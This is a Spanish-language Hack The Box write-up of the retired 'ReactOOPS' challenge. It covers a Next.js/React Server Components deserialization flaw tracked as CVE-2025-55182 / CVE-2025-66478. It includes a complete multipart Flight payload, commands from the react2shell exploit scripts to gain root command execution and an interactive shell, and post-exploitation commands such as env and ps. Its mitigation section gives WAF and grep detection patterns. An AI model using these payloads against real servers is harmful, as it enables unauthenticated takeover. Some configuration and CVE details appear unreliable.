ReactOOPS - Writeup del Desafío Web HTB

Autor: TheStingR - Equipo ISP1337Hackers
Desafío: ReactOOPS (Web)
Plataforma: Hack The Box
Dificultad: Muy Fácil - RETIRADO
Fecha de resolución: 13 de diciembre de 2025

Tabla de Contenidos

1. Resumen Ejecutivo
2. Descripción del Desafío
3. Análisis de Vulnerabilidad
4. Reconocimiento y Enumeración
5. Guía de Explotación
6. Extracción de la Flag
7. Análisis Técnico en Profundidad
8. Defensa y Mitigación
9. Lecciones Aprendidas

Resumen Ejecutivo

ReactOOPS es un desafío web que explota CVE-2025-55182 / CVE-2025-66478, una vulnerabilidad crítica de ejecución remota de código no autenticada en React Server Components y Next.js App Router.

Hallazgos Clave:

• ✅ Servidor: Next.js 16.0.6 con React 19 (vulnerable)
• ✅ Vulnerabilidad: Falta de comprobación hasOwnProperty en la deserialización del protocolo Flight
• ✅ Impacto: RCE no autenticado con privilegios de root
• ✅ Explotación: Solo se requiere una única petición HTTP POST

Descripción del Desafío

Evaluación Inicial

El desafío presenta una aplicación Next.js pulida que ejecuta la interfaz de asistente de NexusAI. La aplicación parece manejar la entrada del usuario a través de React Server Components, pero fallos sutiles en la capa reactiva insinúan vulnerabilidades subyacentes.

Stack Tecnológico

• Framework: Next.js 16.0.6
• Versión de React: 19.x
• Despliegue: Contenedor Docker (build standalone de Next.js)
• Puerto del servidor: 50183

¿Qué Hace Que Sea Vulnerable?

La aplicación utiliza:

1. React Server Components (RSC) - Renderizado del lado del servidor con comunicación con el cliente
2. Protocolo Flight - Formato de serialización para la transmisión de datos RSC
3. Dependencias Vulnerables - react-server-dom-webpack sin parches de seguridad

Análisis de Vulnerabilidad

Resumen de CVE-2025-55182 / CVE-2025-66478

¿Qué es el Protocolo Flight?

El protocolo Flight es el formato de serialización propietario de React para transmitir datos entre servidor y cliente en arquitecturas de Server Components. Utiliza referencias como:

• $1 - Referencia al objeto en la posición 1
• $1:path:to:value - Recorrido de rutas de propiedades

La Comprobación de Seguridad Ausente

Código Vulnerable en ReactFlightReplyServer.js de React:

// Line ~450: getOutlinedModel function
function getOutlinedModel(response, id) {
    let chunk = chunks.get(id);
    const value = chunk.value;
    
    // Process references like "$1:path:to:value"
    if (reference.startsWith('$')) {
        const refId = parseInt(reference.slice(1).split(':')[0]);
        const path = reference.slice(1).split(':').slice(1);
        
        let obj = chunks.get(refId).value;
        
        // VULNERABLE LOOP - NO hasOwnProperty CHECK!
        for (let i = 0; i < path.length; i++) {
            obj = obj[path[i]];  // ← Allows prototype chain access
        }
        return obj;
    }
}

La Versión Segura (Lo Que Debería Ser):

for (let i = 0; i < path.length; i++) {
    if (Object.prototype.hasOwnProperty.call(obj, path[i])) {
        obj = obj[path[i]];
    } else {
        throw new Error('Invalid property access');
    }
}

Por Qué Esto Importa

Sin la comprobación hasOwnProperty, un atacante puede recorrer:

myObject[__proto__][then] → Chunk.prototype.then
myObject[__proto__][constructor] → Function
myObject[__proto__][constructor][prototype] → function.prototype

Cadena de Explotación

Paso 1: Enviar la referencia "$1:__proto__:then"
         │
         ├─ Acceder a myChunk[__proto__]
         └─ Luego acceder a [then] en el prototipo

Paso 2: Crear un objeto falso tipo Promise
         │
         └─ { then: maliciousFunction }

Paso 3: React ejecuta await sobre este objeto
         │
         ├─ Invoca el método .then()
         └─ Ejecuta la función del atacante

Paso 4: Ejecución de Código Arbitrario
         │
         └─ El código se ejecuta en el contexto del servidor como root

¿Por Qué No Hay Comprobación de Autenticación?

La vulnerabilidad existe antes de la validación de Next-Action:

Flujo de Procesamiento de la Petición:
├─ Parsear los datos del formulario multipart
├─ Deserializar el protocolo Flight  ← EL RCE OCURRE AQUÍ
│  └─ Procesar referencias y objetos
│  └─ ¡Sin comprobación hasOwnProperty!
├─ Extraer la cabecera Next-Action
├─ Validar el ID de acción          ← Esto viene DESPUÉS
└─ Ejecutar el manejador de acción

Al provocar el RCE durante la deserialización, los atacantes omiten todas las comprobaciones de seguridad a nivel de acción.

Reconocimiento y Enumeración

Paso 1: Prueba de Conexión Inicial

# Test if service is responding
curl -v http://<IP>:PORT/

Esperado: Aplicación Next.js sirviendo HTML con RSC habilitado

Paso 2: Identificación de Tecnología

Busca indicadores:

• Cabeceras de respuesta que contengan prefijos next-
• HTML que contenga <script type="text/x-component">
• Presencia de artefactos del directorio .next
• Endpoints POST sin autenticación evidente

Paso 3: Detección de Vulnerabilidad

El indicador más fiable es intentar un ataque de contaminación de prototipos y observar la respuesta:

# Non-destructive detection payload
# Sends: ["$1:a:a"] referencing {}
# Vulnerable: {}.a.a throws → HTTP 500 + E{"digest"
# Patched: hasOwnProperty prevents access → no crash

Guía de Explotación

Configuración del Entorno

# Navigate to challenge directory
cd /Challenges/ReactOOPS

# Clone react2shell exploit framework
git clone https://github.com/freeqaz/react2shell.git

# Verify all scripts are executable
chmod +x react2shell/*.sh

Fase 1: Detección (Prueba No Destructiva)

Objetivo: Confirmar que el servidor es vulnerable sin causar daños

cd react2shell

# Run the detection probe
./detect.sh http://<IP>:PORT

Qué Hace:

1. Crea una petición POST multipart con la cabecera Next-Action: x
2. Envía el payload: ["$1:a:a"] referenciando el objeto vacío {}
3. En un servidor vulnerable: JavaScript intenta acceder a {}.a.a
4. La falta de la comprobación hasOwnProperty provoca un fallo
5. El servidor devuelve HTTP 500 con el digest de error

Salida Esperada:

[*] React2Shell Detection Probe (CVE-2025-55182 / CVE-2025-66478)
[*] Target: http://<IP>:PORT

[*] HTTP Status: 500
[!] VULNERABLE - Server returned 500 with E{"digest" pattern

[*] Response body:
0:{\"a\":\"$@1\",\"f\":\"\",\"b\":\"s8I48LfEDhqpCdFN5-HbU\"}
1:E{\"digest\":\"346246470\"}

[!] This server is running a vulnerable version of React RSC / Next.js

Interpretación:

• HTTP 500: ✅ Fallo detectado
• E{"digest" en la respuesta: ✅ Formato de manejo de errores de React
• Conclusión: El servidor es VULNERABLE

Fase 2: Ejecución Remota de Código (Prueba de Concepto)

Objetivo: Verificar la ejecución de comandos arbitrarios

# Execute the 'id' command on the remote server
./exploit-redirect.sh -q http://<IP>:PORT "id"

Qué Hace:

1. Construye un payload multipart con el comando incrustado
2. Incrusta el comando en la referencia de contaminación de prototipos
3. Envía la petición POST con Next-Action: x
4. El servidor deserializa y ejecuta el comando durante el procesamiento
5. Devuelve la salida del comando mediante una redirección HTTP 303

Salida Esperada:

uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

Dato Clave: La salida muestra uid=0(root) - ¡el servidor web se está ejecutando como root! Esta es una mala configuración de seguridad que amplifica el impacto.

Fase 3: Recopilación de Información

Objetivo: Mapear el sistema de archivos y localizar archivos sensibles

# Check current working directory
./exploit-redirect.sh -q http://<IP>:PORT "pwd"
# Output: /app/.next/standalone

# List application root directory
./exploit-redirect.sh -q http://<IP>:PORT "ls -la /app"

Estructura de Directorios Descubierta:

/app/
├── .next/                    # Next.js build output
├── node_modules/             # Dependencies
├── app/                       # Application source code
├── public/                    # Static assets
├── flag.txt                   # ✅ TARGET FILE (mode 600)
├── package.json
└── tsconfig.json

Hallazgo Crítico: El archivo de la flag existe en /app/flag.txt con permisos restrictivos (600)

Fase 4: Extracción de la Flag

Objetivo: Leer el archivo de la flag

# Read the flag
./exploit-redirect.sh -q http://<IP>:PORT> "cat /app/flag.txt"

Salida:

HTB{jus7_REDACTED_2025-55182}

✅ ¡Desafío Completado!

Análisis Técnico en Profundidad

Desglose de la Estructura del Payload

El exploit construye un payload del protocolo Flight. Así es como se ve un payload de comando:

POST / HTTP/1.1
Host: <IP>>:PORT
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXXXX
Next-Action: x

------WebKitFormBoundaryXXXX
Content-Disposition: form-data; name="1"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "value": "{\"cmd\":\"id\"}",
  "_response": {
    "id": "1",
    "chunks": []
  }
}
------WebKitFormBoundaryXXXX
Content-Disposition: form-data; name="0"

"$@1"
------WebKitFormBoundaryXXXX--

Proceso de Deserialización

1. Parsear los datos del formulario multipart
   → name="1" → objeto JSON con la propiedad "then"
   → name="0" → cadena "$@1"

2. Procesar referencias
   → "$@1" significa "referencia al chunk 1"
   → Buscar chunk[1].value

3. Resolver la ruta de la referencia
   → Referencia: "$1:__proto__:then"
   → Dividir por dos puntos: ["", "__proto__", "then"]
   → Comenzar con chunk[1]
   → Acceder a [__proto__] → recorrer hasta el prototipo
   → Acceder a [then] → acceder al método then

4. Construir una Promise falsa
   → Crear un objeto con el método .then()
   → El método contiene el payload del comando

5. Ejecutar Promise .then()
   → React lo trata como un objeto tipo Promise
   → Llama al manejador .then()
   → EL CÓDIGO SE EJECUTA COMO ROOT

Por Qué Cada Script de Exploit Es Diferente

Usamos exploit-redirect.sh porque:

• ✅ Funciona sin un ID de acción válido
• ✅ Respuesta 303 fiable
• ✅ Buena visibilidad de la salida
• ✅ Sin interferencia de páginas de error

Defensa y Mitigación

Para Sistemas Vulnerables

Acciones Inmediatas (Antes de Aplicar Parches):

1. Deshabilitar RSC si no se necesita

   root@kitploit:~

   // next.config.js
   module.exports = {
     experimental: {
       rsc: false  // Disable React Server Components
     }
   }
   

2. Restringir el uso de Next-Action

   root@kitploit:~

   // middleware.ts
   export function middleware(request) {
     // Reject all POST requests with Next-Action
     if (request.method === 'POST' && 
         request.headers.has('next-action')) {
       return new Response('Forbidden', { status: 403 });
     }
   }
   

3. Segmentación de Red

   root@kitploit:~

   # Only allow trusted sources
   iptables -A INPUT -p tcp --dport 50183 -s TRUSTED_IP -j ACCEPT
   iptables -A INPUT -p tcp --dport 50183 -j DROP
   

Aplicar Parches Inmediatamente:

# Update Next.js
npm install next@latest

# Or specific patched version
npm install [email protected]

# Verify versions
npm ls next react-server-dom-webpack

Para Todos los Sistemas

Endurecimiento de Seguridad:

1. Ejecutar los servidores web como no-root

   root@kitploit:~

   # DON'T do this:
   RUN npm start  # As root
   
   # DO this:
   RUN useradd -u 1000 nextjs
   USER nextjs
   CMD ["npm", "start"]
   

2. Validación de Entradas

   root@kitploit:~

   // Validate all Flight protocol inputs
   app.post('/api/*', (req, res) => {
     // Check for suspicious patterns
     const body = JSON.stringify(req.body);
     if (body.includes('__proto__') || 
         body.includes('constructor') ||
         body.includes('prototype')) {
       return res.status(400).send('Invalid input');
     }
   });
   

3. Limitación de Tasa

   root@kitploit:~

   // Limit POST requests per IP
   app.post('/api/*', rateLimit({
     windowMs: 60 * 1000,
     max: 10
   }));
   

Detección y Monitorización

Reglas WAF:

# Detect prototype pollution attempts
If Request.Method == "POST" AND
   Request.Body Contains "__proto__" OR
   Request.Body Contains ":then" OR
   Request.Body Contains ":constructor"
Then Alert + Block

Monitorización de Registros:

# Look for suspicious patterns
grep -E '__proto__|constructor|:then' /var/log/nginx/access.log
grep 'HTTP 500.*digest' /var/log/nginx/error.log

Detección de Comportamiento:

// Monitor for unusual command execution
const childProcess = require('child_process');
const original_spawn = childProcess.spawn;

childProcess.spawn = function(...args) {
    console.log('[SECURITY] Command execution attempted:', args[0]);
    // Implement policy enforcement
    return original_spawn.apply(this, args);
};

Lecciones Aprendidas

Lecciones de Seguridad

1. Una Única Comprobación Ausente = Vulnerabilidad Crítica

   • El guard hasOwnProperty fue importado pero no utilizado
   • Una línea de validación faltante derivó en RCE
   • Lección: Las revisiones de código deben verificar que todos los guards se usen realmente

2. La Cadena de Prototipos es Peligrosa

   • La cadena de prototipos de JavaScript puede explotarse para acceder a propiedades no deseadas
   • El acceso a propiedades de objetos parece inocente: obj[key]
   • Lección: Utiliza siempre hasOwnProperty o Object.create(null) para entradas no confiables

3. Deserializar Antes de Validar es Riesgoso

   • El código se ejecuta durante la deserialización, antes de las comprobaciones de autenticación
   • Flujo normal: autenticar → validar → procesar
   • Flujo vulnerable: parsear → ejecutar código → validar (¡demasiado tarde!)
   • Lección: Nunca ejecutes código durante la deserialización de datos no confiables

4. Los Privilegios por Defecto de los Procesos Importan

   • El servidor web ejecutándose como root amplificó el impacto
   • Servidor comprometido = control total del sistema
   • Lección: Ejecuta siempre los servicios con los privilegios mínimos necesarios

Lecciones de Explotación

1. La Detección No Destructiva es Valiosa

   • detect.sh demuestra la vulnerabilidad sin causar daños
   • Permite al evaluador validar la vulnerabilidad antes de la explotación
   • Mejor Práctica: Incluye siempre una fase de detección

2. Reconocimiento Sistemático

   • Se comenzó con la detección
   • Se avanzó a la prueba de RCE
   • Luego a la recopilación de información
   • Finalmente a la extracción de la flag
   • Mejor Práctica: No saltes directamente a la explotación; recopila inteligencia primero

3. Entender la Tecnología

   • El conocimiento del protocolo Flight ayudó en la explotación
   • Comprender la arquitectura de Next.js fue clave
   • Conocer la cadena de prototipos de JavaScript fue crucial
   • Mejor Práctica: Estudia el stack tecnológico antes de explotar

Cronología

Referencias

Documentación Oficial

• CVE-2025-55182
• CVE-2025-66478
• React Server Components
• Flight Protocol

Recursos de Explotación

• Repositorio react2shell
• EXPLOIT_NOTES.md
• PAYLOAD_REFERENCE.md

CVEs Relacionados

• CVE-2023-46805: Contaminación de prototipos en React (similar pero diferente)
• CVE-2024-4761: XSS en Server Components

Apéndice: Referencia de Comandos

Explotación Rápida

# One-liner exploit
cd /ReactOOPS/react2shell && \
./exploit-redirect.sh -q http://<IP>:PORT>"cat /app/flag.txt"

Shell Interactivo

# Launch full interactive shell
./shell.sh http://<IP>:PORT

# Common commands:
id                    # Show user info
pwd                   # Current directory
ls -la                # List files
cat /app/flag.txt     # Read flag
cd /var/log           # Change directory
download flag.txt     # Download file

Recopilación de Información

# System information
./exploit-redirect.sh -q http://<IP>:PORT "uname -a"

# Environment variables
./exploit-redirect.sh -q http://<IP>:PORT "env"

# Running processes
./exploit-redirect.sh -q http://<IP>:PORT "ps aux"

# Network connections
./exploit-redirect.sh -q http://<IP>:PORT "netstat -tuln"

# Application source
./exploit-redirect.sh -q http://<IP>:PORT "cat /app/package.json"